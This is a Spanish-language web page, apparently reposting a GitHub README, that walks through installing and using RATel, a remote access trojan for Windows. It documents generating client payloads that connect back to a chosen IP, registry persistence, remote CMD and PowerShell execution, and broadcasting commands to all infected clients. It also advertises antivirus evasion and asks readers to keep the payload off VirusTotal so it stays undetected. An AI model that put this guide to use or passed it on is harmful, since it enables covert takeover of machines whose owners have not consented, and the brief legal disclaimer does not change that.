RATel Tomar Control de Máquina Windows
RATel Tomar Control de Máquina Windows

RATel: Tomar el Control de una Máquina Windows

RAT-el (o RATel) es una herramienta de pruebas de penetración de código abierto que permite tomar el control de una máquina Windows. Funciona en el modelo cliente-servidor, el servidor envía comandos y el cliente ejecuta los comandos y envía el resultado de vuelta al servidor. El cliente es completamente indetectable por el software antivirus.

Advertencia

Para evitar que RATel sea detectado por los antivirus, por favor, no subas el payload a TOTAL VIRUS. Cada mes será probado si el payload es detectado por los antivirus. Así tendrás una foto cada mes para probar la discreción de RATel.

Captura de RATel
Captura de RATel

Características

RATelServer:

  • Conexiones múltiples
  • Transmisión de comandos a todos los clientes
  • Almacena la información de los clientes en la base de datos
  • Cifrado de datos en la red mediante XOR
  • Sistema de gestión de tokens para identificar a los clientes

Cliente:

  • Cifrado de los datos enviados por la red
  • Persistencia de la puesta en marcha
  • Ejecución de comandos remotos a través de CMD
  • Ejecución de comandos remotos a través de Powershell
  • Cifrado de datos en la red mediante XOR
  • Persistencia automática al ejecutar el cliente
  • Reconexión automática

RATelGenerator:

  • Compilación automática del cliente

Instalación

En Linux

Esta documentación está basada en una configuración de Debian, así que los pasos de esta documentación serán idénticos para las distribuciones derivadas de Debian como Kali Linux, Ubuntu, Tails, PureOSl, etc. No he hecho documentación para otras distribuciones, pero el principio sigue siendo el mismo. (Si utilizas otra distribución, puedes dejar tus dudas en los comentarios)

  • Primer paso: Descargar e instalar Git, Python3 y MinGw.

Para evitar cualquier problema, actualiza tu sistema.

sudo apt-get update && sudo apt-get upgrade

Instala Git, Python3, Pip3 y Mingw-w64:

sudo apt-get install git python3 python3-pip mingw-w64
  • Segundo paso: Clonar el repositorio RATel.
git clone https://github.com/FrenchCisco/RATel
  • Tercer paso: Instalar las dependencias para Python3.

Ve a la carpeta “RATel/setup” e instala las dependencias.

cd RATel/setup
pip3 install -r requirement.txt

En Windows

Instalación y configuración de todas las dependencias en Windows:

  • Primer paso: Descargar e instalar Python3 y MinGw.

Si quieres compilar RATs (cliente) desde Windows, debes tener MinGw en tu máquina.

  1. Dirígete aquí luego descarga e instala MinGwInstaller.
  2. Una vez instalado MinGwInstaller, ejecuta MinGwInstaller luego marca “mingw32-gcc-g++“, luego haz clic en “Installation” luego haz clic en “Changes“.
  3. Una vez instaladas todas las dependencias de MinGw, copia la ruta de la carpeta donde se encuentran normalmente los binarios de MinGw a “C:\MinGw\bin” y guarda esta carpeta en la variable de sistema PATH.
Instalación de MinGw
Instalación de MinGw

Python3:

Debes tener Python3 en tu máquina, porque el servidor (RATelServer.py) y el generador (RATelGenerator.py) están codificados en Python3.

  1. Dirígete aquí para descargar Python 3 según tu arquitectura.
  2. Instala Python3.
  3. Asegúrate de que Python y G++ (MinGw) pueden ejecutarse desde el comando de Windows, si uno de los programas no se ejecuta, añade la ruta del programa a la variable PATH de tu sistema.
Instalar Python3
Instalar Python3
  • Segundo paso: Descarga el repositorio RATel.
  • Dirígete aquí
  • Haz clic en “Code” y luego en “Download ZIP“.
  • Una vez descargado el repositorio, debes obtener un archivo zip.
  • Extrae el archivo zip.
Descargar RATel
Descargar RATel
  • Tercer paso: Ejecutar win_setup.py
  • Dirígete a la carpeta “RATel” previamente descargada y descomprímala.
  • A continuación, ejecuta el script “win_setup.py”.
  • El script “win_setup.py” permite instalar todas las librerías de Python, y luego comprobar si MinGw y Python son accesibles desde el comando de Windows.

Si obtienes “Finished installation” significa que todas las dependencias del proyecto RATel están instaladas en tu máquina. Si obtienes un mensaje de error, revisa todos los pasos mencionados anteriormente en este tutorial. Si aún así obtienes un mensaje de error, por favor déjame una salida del error en la sección de issues.

Instalar dependencias para RATel

RATelServer

Esta documentación explica el funcionamiento del servidor (RATelServer.py) y sus funcionalidades.

Cuando se conecta un nuevo cliente al servidor, el cliente envía la primera información: el token, la carpeta RAT actual, los derechos de usuario y el login del usuario. Este paso se llama HANDSHAKE.

A cada nuevo cliente, el servidor le asigna un ID que se presenta como número de sesión. Una vez finalizado el HANDSHAKE, el servidor almacena toda la información recibida (número de sesión, dirección IP, puerto, ruta de la RAT, derechos del usuario y login del usuario) en una base de datos SQLite.

Esto permite, en caso de problemas de red o de otro tipo, identificar y reconectar a los clientes con el servidor.

Argumentos

ArgumentoSintaxisEjemploComentario
-i / –ip--ip <ip of server>-i 127.0.0.1La dirección IP del servidor, esto es útil si tienes varias direcciones IP.
-p / –port`–port “--port 4444El puerto de escucha del servidor.
-t / –time--time <seconds>--time 120El número de segundos que se envía automáticamente un mensaje para comprobar si la conexión está viva o muerta.
-pa /–password--password <your password>--password ciscoTheBossLa contraseña para cifrar y descifrar los datos en la red. Si la contraseña no es la misma que la del cliente, será imposible desencriptar los mensajes.
-c / –clean--clean--cleanLimpia todos los datos de la base de datos SQLite.
-d / –display--display--displayDesactiva la visualización de la información del cliente (cierre de sesión y conexión entrante).
-h / –help--help--helpmostrar este mensaje de ayuda
  • Ejemplo de Comando: Este comando permite escuchar en el puerto 8888, desencriptar y encriptar los datos con la contraseña de LinuxIsBestOS, hacer ping al cliente cada 2 minutos y borrar los datos de la base de datos.
/usr/bin/python3 RATelServer.py --port 8888 --password LinuxIsBestOS --time 120 --clean

RATelServer funciona con un sistema de modos. Cada modo tiene sus comandos específicos

Uso de RATelServer

  • Modo principal (Main mode):

El modo principal es el modo principal del servidor. Te permite hacer muchas cosas como:

ArgumentoSintaxisComentario
-h / –help--helpMuestra todos los comandos del modo principal.
-ls / –list--listMuestra todos los clientes con su información.
-t / –target--target <session_ID>Este comando permite seleccionar un cliente (Session Mode).
-cde / –connectionDisplayEnable-cdeHabilitar la visualización de información sobre el cliente (conexión y desconexión).
-cdd / –connectionDisplayDisable-cddDesactivar la visualización de la información del cliente (conexión y desconexión).
–broadcast--broadcastInicia el broadcast mode.
–exit--exitDetener el servidor.
Modo principal
  • Modo de sesión (Session mode):

El modo sesión permite seleccionar una sesión (cliente) e interactuar con ella, por ejemplo Ejecutar un comando, iniciar la persistencia, etc.

ArgumentoSintaxisComentario
-h / –help--helpMuestra todos los comandos del modo principal.
-c-c <"command">Ejecuta un comando en todos los clientes y no envía el resultado (no olvides poner el comando entre comillas).
–command--commandInicia un símbolo del sistema (cmd .exe) en la máquina remota.
–powershell--powershellInicia un comando Powershell (powershell.exe) en la máquina remota.
–persistence--persistenceHace que el cliente sea persistente al inicio cambiando las claves del registro
–destruction--destructionBorra y desconecta a todos los clientes.
–disconnection--disconnectionPróximamente.
-b / –back--backVolver al menú.
Modo de sesión

Advertencia

Cualquier comando ejecutado con la función ‘–command’ o ‘–powershell’ no se cifrará en la red. Si quieres ejecutar comandos cifrados, utiliza el argumento -c .

  • Modo de difusión (Broadcast mode):

El modo broadcast permite enviar una orden a todos los clientes.

ArgumentSyntaxCommant
-h / –help--helpDisplays all session mode commands.
-ls / –list--listStarts a command prompt (cmd .exe) on the remote machine.
-c-c <"command">Executes a command on all clients and does not send the result
(don’t forget to put the command in quotation marks).
–persistence--persistenceMakes all clients persistent at startup by modifying the registry keys.
–destruction--destructionRemoves all clients on all clients and cuts connections.
–disconnection--disconnectionComming soon.
-b / –back--backBack to menu.
Modo de difusión
Modo de difusión

Ejemplo de comando: Envía a todos los clientes la orden explorer.exe

broadcast> -c "explorer.exe"

Uso de RATelGenerator

Esta documentación explica el funcionamiento del generador (RATelGenerator.py) y sus argumentos.

RATelGenerator permite compilar RATs (cliente), los RATs son compilados con Mingw.

El script tiene en cuenta muchos argumentos, lo que permite tener un control más amplio y específico de acuerdo a tu situación o requerimiento.

El comportamiento del RAT cambia según los argumentos pasados. El único argumento obligatorio es IP para determinar a qué dirección IP intentará conectarse la RAT.

Argumentos:

ArgumentoSintaxisEjemploComentario
-h / –help--help--helpMostrar este mensaje de ayuda
-a / –auto--auto--autoActiva el modo de persistencia en cuanto se ejecuta el cliente.
-p / –port--port <port>--port 8888El número de puerto al que debe conectarse el cliente.
-i / –ip--ip <address ip>--ip 192.168.1.32La dirección IP del servidor.
-r / –reconnect--reconnect <time>--reconnect 10El número de tiempos de espera entre cada intento de reconexión al servidor (en segundos).
-n / –name--name <name of rat>--name my_rat.exeEl nombre del RAT.
-rs / –registry--registry <name>--registry win_keyEl nombre del valor de la cadena de la clave para la persistencia.
-pa / –password--password <password>--password linusIsBestOSLa contraseña para cifrar y descifrar datos en la red.

Ejemplo:

/usr/bin/python3 RATelGenerator.py --ip 192.168.1.34 --port 8888 --name RATclient.exe --password linuxIsBestOS

LEE ESTO PARA UN EJEMPLO DE USO.

Aviso Legal

El uso de este software en cualquier dispositivo que no sea tuyo está prohibido. Si utilizas RATel en una máquina que no te pertenece, no seré de ninguna manera responsable de tus acciones.

Dark Mode

RATel (este enlace se abre en una nueva ventana) por FrenchCisco (este enlace se abre en una nueva ventana)

RAT-el is an open source penetration test tool that allows you to take control of a windows machine. It works on the client-server model, the server sends commands and the client executes the commands and sends the result back to the server. The client is completely undetectable by anti-virus software.

Más artículos
Ocultar Carpeta con Contraseña en Windows
Cómo Ocultar Carpeta con Contraseña en Windows (Sin Programas)